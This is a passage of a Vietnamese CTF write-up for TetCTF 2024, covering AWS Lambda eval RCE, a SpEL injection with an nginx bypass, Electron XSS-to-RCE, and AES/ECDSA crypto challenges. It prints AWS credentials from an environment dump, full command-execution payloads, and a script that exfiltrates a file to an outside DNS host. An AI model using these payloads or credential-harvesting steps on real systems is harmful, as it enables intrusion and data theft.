TetCTF 2024 Write Up

·

81 min read

Web

Hello from API GW (100)

credit: endy

Bài này là một bài về cloud, lần đầu mình tiếp xúc với dạng này nên còn gà và chưa thể tự mình solved được

Khi truy cập web challenge cung cấp, ta được như sau

Dựa vào response thì ta biết được User Input hay chính là param vulnerable sẽ được Evaluated và trả về kết quả. Vì chall blackbox hoàn toàn, nên mình fuzz xem hành vi Evaluated như thế nào bằng Burp Intruder và phát hiện eval được thực hiện bằng nodejs code.

Mình dùng payload sau để RCE

Tuy nhiên sau gần nửa buổi mò mẫm trên server không ra được gì, nên mình đã DM tác giả để cầu cứu

Có được thông tin này mình chuyển sang tập trung exploit AWS.

Khi check env trên server thì mình được kết quả như sau

"AWS_LAMBDA_FUNCTION_VERSION":"$LATEST",
"AWS_SESSION_TOKEN":"IQoJb3JpZ2luX2VjEDcaDmFwLXNvdXRoZWFzdC0yIkYwRAIgO+7HFGEHJ/f0RSV04kjONaSlRAeYwhNDBqGiBR8SDd8CIEj8OoHhuUa/uSZXs0BpJuWt54pY+pG0pm2mFddleILrKsUDCPD//////////wEQAxoMNTQzMzAzMzkzODU5IgxIUtYnJwb6w/X5JpMqmQO0NGpp1hU/KZFXbM5mLLXIV38cElX8/Z8FXBmW0CUPYPR8smBRN8HYEs89eOSKc/vzV3HOppp+Kfk/9oWs9obtphChd5J93mqnPPQSWkKtilQzT5IFZ2aZgvvy7Bdts2j9Ni26qveBDIms28Dt3qOIibmiW8cQ0io0DRQOPBF3lWyoktuLg5VnWviXi2BRbrK8+Rh203otRUNj49BFEvXBCFlaXAe9c4Nvj2cKC1KC6hpNae5ZRG/Y5Rw187iFitnGji7XsWIFZYqh3VBxk5EuwpWP1Jd9f++Qm+KvijK7BsAx4FERaHrOM8XvW/ofycXdIin3F/YBXOrfUoVH8oVKqPdZSwKWe6Hg5tmR/wAR+OhJMrsEPvsZjp2+TLfKlD+CPh7WFycbQQ65eZdo11IYKZvjGoeKUWXZ+BH/rNE70SKiomjJyxaL2JJMGKkYWU6pyT4qyQeBEdNvAv7LIQE0mQZ5wUJGUYum297lWnfmfW8UEEVCBa780bl3w9jopuq42l4TaWY+sRTCvovzVELBLUoyLZNseB5JMIfv3q0GOp8BR5amTDndFktnwrJeAg8aUHFlAVagFFoxVmyEu90LeFo3OrxFXheSka82yYg6ET1IWk9vNd7Lhzp3MlVRxJXmo8ljsTnKBqo0WeHnW4qNyurUeF82tHtDHUcRCOp0Z8VxzVv0uKij+/ULOywoajP5OnmNnOrN9cD9Bl26NP3ukZIB5v5cNqyqthXbpBKaGO5f5TONoGjacY0jK/sFzaCy",
"AWS_LAMBDA_LOG_GROUP_NAME":"/aws/lambda/TetCtfStack-VulnerableLambdaAA73A104-aSkHuTfgUzPR",
"LD_LIBRARY_PATH":"/var/lang/lib:/lib64:/usr/lib64:/var/runtime:/var/runtime/lib:/var/task:/var/task/lib:/opt/lib",
"LAMBDA_TASK_ROOT":"/var/task",
"AWS_LAMBDA_RUNTIME_API":"127.0.0.1:9001",
"AWS_LAMBDA_LOG_STREAM_NAME":"2024/01/29/[$LATEST]30dd9468224f464e83c09e6d42403058",
"AWS_EXECUTION_ENV":"AWS_Lambda_nodejs18.x",
"AWS_XRAY_DAEMON_ADDRESS":"169.254.79.129:2000",
"AWS_LAMBDA_FUNCTION_NAME":"TetCtfStack-VulnerableLambdaAA73A104-aSkHuTfgUzPR",
"PATH":"/var/lang/bin:/usr/local/bin:/usr/bin/:/bin:/opt/bin",
"AWS_DEFAULT_REGION":"ap-southeast-2",
"PWD":"/var/task",
"AWS_SECRET_ACCESS_KEY":"AdbLHBQeAU/IJYrJ4cJ/7RzCumpS36Pq3RxhZ0eR",
"LAMBDA_RUNTIME_DIR":"/var/runtime",
"LANG":"en_US.UTF-8",
"AWS_LAMBDA_INITIALIZATION_TYPE":"on-demand",
"NODE_PATH":"/opt/nodejs/node18/node_modules:/opt/nodejs/node_modules:/var/runtime/node_modules:/var/runtime:/var/task",
"TZ":":UTC",
"AWS_REGION":"ap-southeast-2",
"ENV_ACCESS_KEY":"AKIAX473H4JB76WRTYPI",
"AWS_ACCESS_KEY_ID":"ASIAX473H4JBYHUWJR4U",
"SHLVL":"0",
"ENV_SECRET_ACCESS_KEY":"f6N48oKwKNkmS6xVJ8ZYOOj0FB/zLb/QfXCWWqyX",
"_AWS_XRAY_DAEMON_ADDRESS":"169.254.79.129",
"_AWS_XRAY_DAEMON_PORT":"2000",
"AWS_XRAY_CONTEXT_MISSING":"LOG_ERROR",
"_HANDLER":"index.handler",
"AWS_LAMBDA_FUNCTION_MEMORY_SIZE":"128",
"NODE_EXTRA_CA_CERTS":"/var/runtime/ca-cert.pem",
"_X_AMZN_TRACE_ID":"Root=1-65b7b8fe-30aba47b2289b9772f9f3866;Parent=62b9a8f75698e2f1;Sampled=0;Lineage=c3b1dc18:0"

Ở đây ta có thể dễ dàng lấy được AWS_ACCESS_KEY_IDAWS_SECRET_ACCESS_KEY để tương tác với AWS service, tuy nhiên sau mỗi lần mình đọc env thì 2 giá trị này thay đổi liên tục, chỉ có ENV_ACCESS_KEYENV_SECRET_ACCESS_KEY cố định không đổi. Mình dùng 2 giá trị này để thay thế.

Khởi tạo configure với access_key và secret_key

└─$ aws configure --profile cloud1
AWS Access Key ID [None]: AKIAX473H4JB76WRTYPI
AWS Secret Access Key [None]: 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
Default region name [None]: ap-southeast-2
Default output format [None]:

Mình dùng aws-enumerator để enum thì biết được, với credentials hiện tại thì có các permission sau:

DYNAMODB DescribeEndpoints
IAM GetAccountPasswordPolicy
SECRETSMANAGER ListSecrets
STS GetSessionToken
STS GetCallerIdentity

Nhìn vào là biết nên check cái nào đầu tiên rồi. Chạy command sau để xem ListSecrets

└─$ aws secretsmanager list-secrets --profile cloud1
{
    "SecretList": [
        {
            "ARN": "arn:aws:secretsmanager:ap-southeast-2:543303393859:secret:prod/TetCTF/Flag-gnvT27",
            "Name": "prod/TetCTF/Flag",
            "LastChangedDate": 1706155046.205,
            "LastAccessedDate": 1706486400.0,
            "Tags": [],
            "SecretVersionsToStages": {
                "44e68972-c191-4bc8-acc8-d0ba3a29cea6": [
                    "AWSCURRENT"
                ]
            },
            "CreatedDate": 1706155045.933
        }
    ]
}

Dùng command sau để đọc prod và get flag

└─$ aws secretsmanager get-secret-value --secret-id prod/TetCTF/Flag --profile cloud1
{
    "ARN": "arn:aws:secretsmanager:ap-southeast-2:543303393859:secret:prod/TetCTF/Flag-gnvT27",
    "Name": "prod/TetCTF/Flag",
    "VersionId": "44e68972-c191-4bc8-acc8-d0ba3a29cea6",
    "SecretString": "{\"Flag\":\"TetCTF{B0unTy_$$$-50_for_B3ginNeR_2a3287f970cd8837b91f4f7472c5541a}\"}",
    "VersionStages": [
        "AWSCURRENT"
    ],
    "CreatedDate": 1706155046.202
}

J4v4 Censored (unintended solution that break nginx rules)

credit: devme4f

chall_description

Preface

Chào mọi người, hôm nay mình sẽ write up lại bài J4v4 Censored trong giải TetCTF 2024 mà team mình (KCSC) đã solve được. Đây là 1 bài java mình đánh giá không quá khó nhưng lại là half-black-box nên phải đoán, fuzzing khá nhiều nên khi làm mình khá nản nhưng cũng nhờ có teammates quyết tâm tìm ra được unintended solution nên may mắn (cũng chính là team duy nhất) solved được. Let’s start!

Exploring

Đề cho url đến swagger endpoint nhưng khi truy cập thì không load được list các api:

ui_swagger

Nguyên nhân do /v2/api-docs?group=discovery đã bị chặn:

api-docs_403

Thử chuyển thành post method thì bypass được luôn 😀😀:

api-docs_403-bypass

Từ info của swagger thì biết được app đang chạy /nepxion/Discovery module discovery-plugin-admin-center-starter-swagger nhưng như title discovery-springcloud-example-admin-remake thì có thể đã được modify.

Thử tìm CVE trên nền tảng này thì mình thấy có 2 lỗ hổng đáng chú ý là SpEL Injection và SSRF tại đây: https://securitylab.github.com/advisories/GHSL-2022-033_GHSL-2022-034_Discovery/

PoC của 2 lỗ hổng này cũng có sẵn rồi, nhưng khi ốp vào thì lại không ăn ngay:

403_strategy

Sau một hồi fuzz qua thì mình thấy các keyword như strategy, validate-expression đã bị chặn, cùng với một số ký tự như \ hay ;. Cũng dễ nhận thấy là endpoint này bị chặn bởi nginx chứ không phải java app, tiềm tàng nguy cơ bị bypass 😂.

Bypass nginx

Ý tưởng chộp đến ngay là dùng bug SSRF để bypass và request đến endpoint /strategy/validate-expression từ localhost. Thử SSRF thì đến /swagger-ui.html thì vẫn ok:

ssrf

Nhưng đến /strategy/validate-expression thì không được, nguyên nhân cũng khá dễ hiểu do nginx đã chặn các keyword mình đã kể ở trên nếu nằm trong URL, mình cũng chưa tìm ra cách workaround nào khác do endpoint này lấy params từ path variable:

@RequestMapping(path = "/route/{routeServiceId}/{routeProtocol}/{routeHost}/{routePort}/{routeContextPath}", method = RequestMethod.GET)
@ApiOperation(value = "获取指定节点可访问其他节点的路由信息列表", notes = "", response = ResponseEntity.class, httpMethod = "GET")
    @ResponseBody
    public ResponseEntity<?> route(@PathVariable(value = "routeServiceId") @ApiParam(value = "目标服务名", required = true) String routeServiceId, @PathVariable(value = "routeProtocol") @ApiParam(value = "目标服务采用的协议。取值: http | https", defaultValue = "http", required = true) String routeProtocol, @PathVariable(value = "routeHost") @ApiParam(value = "目标服务所在机器的IP地址", required = true) String routeHost, @PathVariable(value = "routePort") @ApiParam(value = "目标服务所在机器的端口号", required = true) int routePort, @PathVariable(value = "routeContextPath") @ApiParam(value = "目标服务的调用路径前缀", defaultValue = "/", required = true) String routeContextPath) {
        return doRemoteRoute(routeServiceId, routeProtocol, routeHost, routePort, routeContextPath);
    }

Chall cũng được cấu hình để chặn out-bound do đó không thể bypass bằng cách tự host server để redirect về lại endpoint mong muốn.
Stuck tầm 1 ngày thì cuối cùng đồng đội mình (@null001) đã tìm ra cách bypass nginx proxy để request được đến /strategy/validate-expression và exploit SpEL inject, cũng chẳng cần đến bug SSRF luôn(nghe là intended):

bypassed

URL để bypasss như sau:

/strategy;%2f%2e%2e%2f/validate-expression;%2f%2e%2e%2f/

Vì không có source nên mình không thể confirm (sau khi giải end có source thì đã confirm được) nhưng mình giả định nguyên nhận là do nginx khi nhận request sẽ thực hiện normalize url trước khi thực hiện các directives để check. Quá trình normalize đơn giản hóa như sau stackoverflow:

sof

Do đó khi thực hiện request trên, nginx sẽ thực hiên url decode và normalize thành $uri='/' đẫn đến các rule check trên $uri='/' bằng 0 😆😆.

Nhưng cũng chưa ngon ăn ngay do param expression đã được tác giả custom lại và thêm các backlist keyword mà khi thực hiện SpEL inject sẽ không ăn ngay mà mình fuzz được thì đó là ', "toString. Ngồi bypass tiếp thôi

Bypass SpEL injection blacklist

Với các keyword bị blacklist là ', "toString nhằm chặn tạo chuỗi string thì ai quen thuộc với dạng đề CTF này mình nghĩ cũng sẽ không quá khó khăn để bypass.

Do đang là dạng spel inject blind (+ không có out-bound) nên mình hình dung payload để exploit nó sẽ tương tự như này, hạn chế sử dụng các chuỗi string cũng như lấy được input và trả về response đều từ header:

T(org.springframework.web.context.request.RequestContextHolder).getRequestAttributes().getResponse().setHeader(1,(T(java.util.Scanner).getConstructor(T(java.io.InputStream)).newInstance(new ProcessBuilder(T(org.springframework.web.context.request.RequestContextHolder).getRequestAttributes().getRequest().getHeader(1)).start().getInputStream()).useDelimiter("\\A").next()))

Để dễ hiểu thì payload có thể được chia nhỏ như sau:

  1. Lấy spring response object để kiểm soát response của request:
T(org.springframework.web.context.request.RequestContextHolder).getRequestAttributes().getResponse()
  1. Gọi setHeader() để trả về output của command từ response

  2. Dùng Scanner để lấy hết string output từ inputstream của process:

T(java.util.Scanner).getConstructor(T(java.io.InputStream)).newInstance().useDelimiter("\\A").next()
  1. Gọi ProcessBuilder thực thi command:
new ProcessBuilder(<input>).start()
  1. Lấy spring request object để lấy được input (command) từ request hiện tại:
T(org.springframework.web.context.request.RequestContextHolder).getRequestAttributes().getRequest()
  1. Và gọi getHeader() để lấy input từ header 1

Để build được payload trên thì mình tự dựng lab tại local để test cho dễ thôi, tuy nhiên payload trên vẫn có chỗ bị blacklist đó là "\A", để bypass có thể dùng cách sau

test_bypass

Convert qua dạng ssti:

(new String(T(java.lang.Character).toChars(92))).concat(new String(T(java.lang.Character).toChars(65)))

Full payload:

GET /strategy;%2f%2e%2e%2f/validate-expression;%2f%2e%2e%2f/?condition=T(org.springframework.web.context.request.RequestContextHolder).getRequestAttributes().getResponse().setHeader(1,(T(java.util.Scanner).getConstructor(T(java.io.InputStream)).newInstance(new+ProcessBuilder(T(org.springframework.web.context.request.RequestContextHolder).getRequestAttributes().getRequest().getHeader(1)).start().getInputStream()).useDelimiter((new+String(T(java.lang.Character).toChars(92))).concat(new+String(T(java.lang.Character).toChars(65)))).next()))&validation=a%3dtest HTTP/2
Host: java.tienbip.xyz
1: /readflag

Done 😇:

readflag

flag:

TetCTF{ssrf`bYp4ss-sst!;W1th<3. :)}

end - ref

source được cung cấp:
https://drive.google.com/file/d/1HZ268tSJK8FuSR-Y7c8XCuv5hOt7tF6R/view?usp=sharing

nginx.conf:

server {
      listen 80;

      server_name    2024.tet.ctf;
      access_log /var/log/nginx/tetctf-access.log;
      error_log /var/log/nginx/tetctf-error.log;



      location / {
            proxy_set_header X-Forwarded-Host $host;
            proxy_set_header X-Forwarded-Server $host;
            proxy_set_header X-Forwarded-For $proxy_add_x_forwarded_for;
            proxy_pass http://nepxion-admin:1101;
      }

      location /v2/api-docs {
            if ($request_method = GET) {
                  rewrite /v2/api-docs /null break;
            }
            proxy_pass http://nepxion-admin:1101/v2/api-docs;
      }

      location ~ .*strategy.* {
            # prevent any cve for api endpoint :) 
            deny all;
      }


      location ~ .*validate-expression.* {
            # prevent any cve for api endpoint :) 
            deny all;
      }

      location ~ .*\/..\; {
            # it's bad for Tomcat :)
            deny all;
      }

      location ~ .*\/\; {
            # it's bad for Tomcat :)
            deny all;
      }

      location ~ .*\; {
            # it's bad for Tomcat :)
            deny all;
      }

}

nginx_location_blocks

X Ét Ét

credit: chanze

Bối cảnh

Bước đầu ta xem qua các chức năng của trang web bao gồm:

  • Đăng ký

  • Đăng nhập

  • Tạo ticket

  • Report ticket

Xem qua source có ta sẽ thấy có 3 folder chính là:

  • app

  • bot

  • server

Ta xem qua entrypoint.sh:

#!/bin/sh


echo /app/flag.c
gcc /app/flag.c -o /flag
chmod 111 /flag

rm /app/flag.c

/usr/bin/supervisord -c /etc/supervisord.conf

Ta xác định mục tiêu là RCE để đọc flag.
Tại folder appbot ta biết được hành vi của con bot sẽ mở trình duyệt bằng electron và truy cập vào nội dung mà ta report. Như tên bài và ta thấy electron thì ta xác định được đây là một bài XSS -> RCE trong electron.

Phân tích

Ta xem qua chức năng tạo ticket:

image

Điều đáng chú ý là tại đây ta có tính năng upload file khi tạo ticket, ta xem qua code của chức năng này:

image

Tại đây có 2 điều đáng chú ý sau:
Thứ nhất title, conetent được lưu vào db nhưng không qua santize.
Thứ hai file ta upload lên sẽ không trải qua bất kì bước santize về nội dung của file. Tên file khi lưu trên server sẽ là một chuỗi uuid ngẫu nhiên với extension do chính ta kiểm soát.

Khi lần đầu đọc qua mô tả của hàm splitext thì ý tưởng đầu tiên xuất hiện trong đầu mình là Path Traversal. Tuy nhiên hàm này được code rất an toàn, nên việc khai thác path traversal là không thể

Tiếp đến sau khi tạo ticket thì mình đến với chức năng report thì luồng chương trình sẽ như sau:

image

Tại đây chương trình sẽ lấy ra ticket từ id do ta gửi lên, khi này id, ticket.title, ticket.content sẽ qua bleach.clean() sau đấy được gửi tới http://127.0.0.1:5001. Công dụng và cách dùng bleach.clean() an toàn được ghi như sau trong documentation:

image

Tiếp theo sau khi đi từ POST request dữ liệu sẽ được xử lý như sau:

image

Tại đây ta thấy rằng id, ticket.title, ticket.content sẽ qua base64 encode và gán vào biến môi trường và chạy file /app/app/run.sh
/app/app/run.sh

#!/bin/bash

rm -rf /tmp/.X99-lock
Xvfb :99 &
cd "/app/app"
#
timeout -k 2 3 node_modules/.bin/electron . --disable-gpu --no-sandbox --args  --ignore-certificate-errors &

Từ code thì ta thấy rằng sẽ chạy electron app:

image

Khi này ta có thể xác định rằng id, ticket.title, ticket.content đã được xử lý an toàn bằng bleach.clean() đúng cách, nên ta không thể khai thác XSS từ các giá trị trên tại đây.
Nhưng tại đây có một lỗ hổng khác, ta có thể thấy:

local = link.includes("http://localhost/tmp/");

Tại đây thay vì dùng startsWith thì tác giả sử dụng includes, regex ở trên match với kết quả như sau:

image

Như vậy ta có thể kiểm soát hoàn toàn src của iframe.
Khi này ta có thể cho trỏ về trang web của chúng ta để XSS, đấy là điều ta sẽ làm nếu như server cho phép ta ra mạng, tác giả đã config iptables để chặn chúng ta ra mạng:

image

Vậy tại đây ta có còn cách nào để khai thác XSS hay không? Câu trả lời là có, nhưng mình sẽ nói ở phần sau của bài viết.

Ta thấy sau khi qua chỗ gán src cho iframe thì chương trình tiếp tục kiểm tra xem content có bắt đầu bằng [IMPORTANT ALERT] hay không:

image

Để content bắt đầu bằng [IMPORTANT ALERT] thì ta phải tạo ticket với username là admin:

image

Nhưng user admin đã được khởi tạo ngay khi chương trình chạy. Ta tìm cách để bypass chỗ này, như ta thấy thì username sẽ được lấy từ session:

username = session.get('username')

Khi ta login thì chương trình sẽ gán giá trị username vào session như sau:

image

Như ta thấy thay vì gán trực tiếp username vào session thì tại đây username sẽ qua strip(), hàm strip() sẽ loại bỏ mọi khoảng trắng ở cả 2 đầu của chuỗi, nên tại đây ta chỉ việc thêm các ký tự khoảng trắng vào 2 đầu của username là sẽ thành công bypass.

Khi này ta đã thành công popup được notification window (hay có thể được nói là gọi được event CreateViewer)

image

Tuy nhiên trang được mở trong notification window là một endpoint được gán CSP:

image

Như ta thấy thì tại script-srcself, kết hợp với việc ta có thể upload file lên server như vậy ta có thể upload file js lên và load vào tag script? Kịch bản này đẹp nhưng nó không thể xảy ra vì khi ta lấy file về thì sẽ được trả về dưới dạng JSON

image

Nên hiện tại ta vẫn chưa thể XSS được.

Những gì đã có

Sau đây là những gì quan trọng ta đã kiếm được sau quá trình phân tích:

  • Có thể upload file với extension hoàn toàn do ta kiểm soát

  • Có thể kiểm soát src trong iframe của trang bot mở khi có report, tuy nhiên vì firewall chặn không cho ra mạng nên ta vẫn chưa thể XSS

  • Có thể popup được notification window ( hay còn được biết là trigger được event CreateViewer, nhưng vì CSP nên vẫn chưa thể XSS

XSS

Từ những dữ liệu đã có ở trên ta hoàn toàn có thể tấn công XSS thành công.
Tại main window thì iframe sẽ ra sao nếu ta cho iframe hiển thị nội dung của file html trong local?
Tại notification window sẽ ra sao nếu ta cho trang web redirect về file html trong local?
Kết hợp với dữ kiện ở trên là ta có thể upload file với nội dung bất kì lên server cùng với việc extension của file sẽ hoàn toàn do ta kiểm soát.
Khi này trang web sẽ hoàn toàn do ta kiểm soát.
Luồng khai thác tại đây sẽ như sau:

  • Upload malicous html file với extension là html

  • Tạo ticket với content chứa meta tag redirect về file ta vừa upload trên server (file:///tmp/<uuid>.html)

    • Khi này tại main window thì ta cho truy cập vào /isNew endpoint cùng với id của tiket ta vừa tạo ở trên.

    • Còn tại notification window thì ta chỉ cần report là được

Khi này ta đã XSS được cả 2 window là main window và notification window

Electron

Mình đề xuất video sau để tham khảo về XSS -> RCE trong Electron, nếu bạn chưa viết về Electron: https://youtu.be/Tzo8ucHA5xw?si=Ac-sDASQuJ2Nguox

Ngoài ra bạn cũng có thể đọc bài viết bằng Tiếng Việt sau:
https://nhienit.wordpress.com/2023/06/26/cve-2022-3133-draw-io-xss-leads-to-rce/

Ta xét qua config của main window:
main window

image

notification window

image

Ta thấy rõ rằng webPreferences của notification window có vấn đề khi sandboxfalsecontextIsolation cũng là false. Ta có thể tấn công theo kiểu prototype pollution như trong video ở trên mình đề xuất thì ta sẽ khai thác như sau:

image

image

exploit.html

<script>
    const orgCall = Function.prototype.call;
    Function.prototype.call = function(...args){
        if(args[3] && args[3].name == "__webpack_require__"){
            window.__webpack_require__ = args[3];
            Function.prototype.call = orgCall
            __webpack_require__('module')._load("child_process").exec("/flag > /app/server/static/flag_chanze.txt")
        }
        return orgCall.apply(this,args);
    }
</script>

Các bước khai thác:

  • Tạo acc để bypass admin và đăng nhập

  • Upload file exploit.html

  • Tạo ticket với title <meta http-equiv="refresh" content="1;url=[file:///tmp/<uuid>.html](file:///tmp/.html)">

  • Report tới admin

  • Truy cập vào static/flag_chanze.txt để lấy flag

Ngoài ra còn hướng khai thác khác được giới thiệu trong discord sau khi giải end:

image

leak_dns.html

<script>

fetch("file:///flag").then(r => r.text()).then(r => r.match(/TetCTF\{(.*?)\}/)[1]).then(flag =>(fetch(`http://${flag}.fgabdckk.requestrepo.com`)))

</script>

Ta có thể khai thác theo hướng này tuy nhiên kết quả sẽ bị đưa về lowercase hết

image

Honorable Mention

Crypto

flip

credit: nomorecaffeine

Ý tưởng

Đề bài cho ta một file elf để encrypt aes và một file python

Nhiệm vụ của file python là cho phép ta sửa lại 1 byte của file elf.

    # input format: hex(plaintext) i j
    try:
        plaintext_hex, i_str, j_str = input().split()
        pt = bytes.fromhex(plaintext_hex)
        assert len(pt) == 16
        i = int(i_str)
        assert 0 <= i < len(content)
        j = int(j_str)
        assert 0 <= j < 8
    except Exception as err:
        print(err, file=sys.stderr)
        # ban_client()
        return

    # update key, plaintext, and inject the fault
    content[OFFSET_KEY:OFFSET_KEY + 16] = key
    content[OFFSET_PLAINTEXT:OFFSET_PLAINTEXT + 16] = pt
    content[i] ^= (1 << j) # sửa 1 byte
int __cdecl main(int argc, const char **argv, const char **envp)
{
  char v4[200]; // [rsp+0h] [rbp-D0h] BYREF
  unsigned __int64 v5; // [rsp+C8h] [rbp-8h]

  v5 = __readfsqword(0x28u);
  AES_init_ctx((__int64)v4, (__int64)&key);
  AES_ECB_encrypt((__int64)v4, (__int64)&plaintext);
  write(1, &plaintext, 0x10uLL);
  return 0;
}

Ta chú ý content[i] ^= (1 << j) # sửa 1 byte ta có thể sửa 1 byte tuỳ ý.

Đến đây ta có 2 hướng:

  • sửa size 0x10 thành size > 0x20 để có thể in ra cả key (vì biến plaintext và key nằm cạnh nhau)

  • sửa địa chỉ plaintext thành key

Khai thác

Bằng cách dùng debug mình biết được i là 0x11b9+1=4538 chính là byte 0x10

image

Và mình tìm j = 5

>>> hex(0x10 ^ (1 << 5))
'0x30'

Kết quả

image

flip v2

credit: nomorecaffeine

Tương tự như bài trên nhưng bây giờ ta không được phép flip bit tại hàm main()

# input format: hex(plaintext) i j
try:
    plaintext_hex, i_str, j_str = input().split()
    pt = bytes.fromhex(plaintext_hex)
    assert len(pt) == 16
    i = int(i_str)
    assert 0 <= i < len(content)
    assert not OFFSET_MAIN_START <= i < OFFSET_MAIN_END
    j = int(j_str)
    assert 0 <= j < 8
except Exception as err:
    print(err, file=sys.stderr)
    # ban_client()
    return

Vì không có ý tưởng gì kết hợp với việc nhận thấy các giá trị co thể dẫn đến việc thay đổi kết quả của file elf trong khoảng có thể bruteforce (0x11ED -> 0x2395). Nên quyết định dựng local và lấy output về phân tích với key = b'aaaaaaaaaaaaaaaa'

start = 0x11ED
end = 0x2395 

re_ct = ''

for i in range(0x11ED, 0x2395):
    if OFFSET_MAIN_START <= i < OFFSET_MAIN_END:
        continue
    for j in range(8):
        conn = remote('localhost', 31339)
        pt = 'a'*32
        to_send = pt + ' ' + str(i) + ' ' + str(j)
        conn.sendline(to_send.encode())
        try:
            ct = conn.recvline().strip().decode()
            if ct != re_ct:
                re_ct = ct
                print(ct)
                f = open('output.txt', 'a')
                f.writelines(str([i, j, ct]) + '\n')
                f.close()
        except:
            pass
        conn.close()

Trong lúc xem qua file thì nhận thấy một số output khá đặc biệt như sau:

  • Trả về 32 bytes
[4452, 0, 'b49144452613952f3fa727f6875acf484d2803e7297ee8cb8d0bfdd2823f4de5']
  • Trả về null byte
[5264, 3, 'b49144452613952f3fa727f6875acf48']
[5295, 6, '']
[5297, 1, 'b49144452613952f3fa727f6875acf48']
[5298, 7, '']
  • Trả về các byte giống hệt nhau
[5463, 1, 'cbcbcbcbcbcbcbcbcbcbcbcbcbcbcbcb']
[5465, 0, 'f0f0f0f0f0f0f0f0f0f0f0f0f0f0f0f0']
[5466, 4, 'f0f0f0f0f0f0f0f0f0f0f0f0f0f0f0f0']
[5468, 7, '89898989898989898989898989898989']

Trường hợp cuối cùng là khả thi nhất để khai thác. Vì key là b'aaaaaaaaaaaaaaaa' và plaintext nhập vào là b'\xaa\xaa\xaa\xaa\xaa\xaa\xaa\xaa\xaa\xaa\xaa\xaa\xaa\xaa\xaa\xaa' . Vậy nên những output đó có thể là plaintext ^ key

>>> from pwn import xor
>>> key = b'aaaaaaaaaaaaaaaa'
>>> pt = b'\xaa\xaa\xaa\xaa\xaa\xaa\xaa\xaa\xaa\xaa\xaa\xaa\xaa\xaa\xaa\xaa'
>>> xor(pt, key)
b'\xcb\xcb\xcb\xcb\xcb\xcb\xcb\xcb\xcb\xcb\xcb\xcb\xcb\xcb\xcb\xcb'
>>> xor(pt, key).hex()
'cbcbcbcbcbcbcbcbcbcbcbcbcbcbcbcb'

Nhận thấy trường hợp output tại i = 5463j = 1 thỏa mãn giả thiết mình đặt ra nên mình thử trên server và ….

image

adapt

credit: Uyen

  • Author: ndh

  • Description: Adaptive chosen-message attack against ECDSA.

  • Server: nc 139.162.24.230 31337

  • Material:

Đề cho source main.go như sau:

package main

import (
    "crypto/ecdsa"
    "crypto/elliptic"
    "crypto/rand"
    "crypto/sha256"
    "encoding/base64"
    "encoding/json"
    "fmt"
    "github.com/cosmos/iavl"
    db "github.com/tendermint/tm-db"
    "log"
    "math/big"
    "os"
)

func main() {
    // gen a keypair
    seckey, err := ecdsa.GenerateKey(elliptic.P256(), rand.Reader)
    if err != nil {
        log.Panicf("could not generate ecdsa key: %v", err)
    }
    fmt.Println(seckey.X, seckey.Y)

    // init a mutable tree
    tree, err := iavl.NewMutableTree(db.NewMemDB(), 256, false)
    if err != nil {
        log.Panicf("failed to create a mutable tree: %v", err)
    }

    var msgB64 string
    var msg []byte
    for i := 0; i < 2024; i++ {
        // read message
        if _, err := fmt.Scan(&msgB64); err != nil { // disconnection
            return
        }
        if msgB64 == "." { // enough message-signature pairs
            break
        }
        if msg, err = base64.StdEncoding.DecodeString(msgB64); err != nil { // invalid input
            return
        }

        // mark as seen
        _, err := tree.Set(msg, []byte{})
        if err != nil {
            log.Panicf("tree operation failed: %v", err)
        }

        // send back the signature
        digest := sha256.Sum256(msg)
        r, s, err := ecdsa.Sign(rand.Reader, seckey, digest[:])
        if err != nil {
            log.Panicf("could not sign: %v", err)
        }
        fmt.Println(r, s)
    }

    // To get flag, submit a signature for "Please give me flag" and a proof that the message has not been seen.
    // Note that the proof can be obtained via `tree.GetWithProof`.
    var r, s big.Int
    var proofB64 string
    var proofJson []byte
    var proof iavl.RangeProof
    if _, err := fmt.Scan(&r, &s, &proofB64); err != nil { // disconnection
        return
    }
    if proofJson, err = base64.StdEncoding.DecodeString(proofB64); err != nil { // invalid input
        return
    }
    if err := json.Unmarshal(proofJson, &proof); err != nil { // invalid input
        return
    }

    // verify the signature
    target := []byte("Please give me flag")
    digest := sha256.Sum256(target)
    if !ecdsa.Verify(&seckey.PublicKey, digest[:], &r, &s) { // invalid signature
        return
    }

    // verify the non-membership proof
    root, err := tree.WorkingHash()
    if err != nil {
        log.Panicf("failed to fetch tree root: %v", err)
    }
    if err := proof.Verify(root); err != nil { // invalid proof
        return
    }
    if err := proof.VerifyAbsence(target); err != nil { // invalid proof
        return
    }

    // OK
    flag, err := os.ReadFile("secret/flag.txt")
    if err != nil {
        log.Panicf("could not read flag: %v", err)
    }
    fmt.Println(string(flag))
    log.Println(&r, &s, string(proofJson))
}

Khi kết nối thành công thì server sẽ gửi về ECDSA public key và cho phép user gửi tối đa 1024 message bất kì, server sẽ sign và gửi về signature là một cặp số (r, s) cho tương ứng với message đó. Nếu user biết signature của "Please give me flag" thì server sẽ trả về flag.

Lưu ý là server không cấm user gửi "Please give me flag", và dùng iavl non-membership proof để chứng minh trong số message user đã gửi không có "Please give me flag". Vậy mình sẽ gửi "Please give me flag" để pass cái ecdsa.Verify và tìm cách bypass proof.Verifyproof.VerifyAbsence.

Core của proof.Verify như sau, mục đích của hàm này là calculate roothash từ provided proof và so sánh với roothash ở phía server, RangeProof cho phép verify nhiều leaves trong một proof nhờ đệ quy COMPUTEHASH, should check it.

func (proof *RangeProof) _computeRootHash() (rootHash []byte, treeEnd bool, err error) {
    if len(proof.Leaves) == 0 {
        return nil, false, errors.Wrap(ErrInvalidProof, "no leaves")
    }
    if len(proof.InnerNodes)+1 != len(proof.Leaves) {
        return nil, false, errors.Wrap(ErrInvalidProof, "InnerNodes vs Leaves length mismatch, leaves should be 1 more.") //nolint:revive
    }

    // Start from the left path and prove each leaf.

    // shared across recursive calls
    var leaves = proof.Leaves
    var innersq = proof.InnerNodes
    var COMPUTEHASH func(path PathToLeaf, rightmost bool) (hash []byte, treeEnd bool, done bool, err error)

    // rightmost: is the root a rightmost child of the tree?
    // treeEnd: true iff the last leaf is the last item of the tree.
    // Returns the (possibly intermediate, possibly root) hash.
    COMPUTEHASH = func(path PathToLeaf, rightmost bool) (hash []byte, treeEnd bool, done bool, err error) {

        // Pop next leaf.
        nleaf, rleaves := leaves[0], leaves[1:]
        leaves = rleaves

        // Compute hash.
        hash, err = (pathWithLeaf{
            Path: path,
            Leaf: nleaf,
        }).computeRootHash()

        if err != nil {
            return nil, treeEnd, false, err
        }

        // If we don't have any leaves left, we're done.
        if len(leaves) == 0 {
            rightmost = rightmost && path.isRightmost()
            return hash, rightmost, true, nil
        }

        // Prove along path (until we run out of leaves).
        for len(path) > 0 {

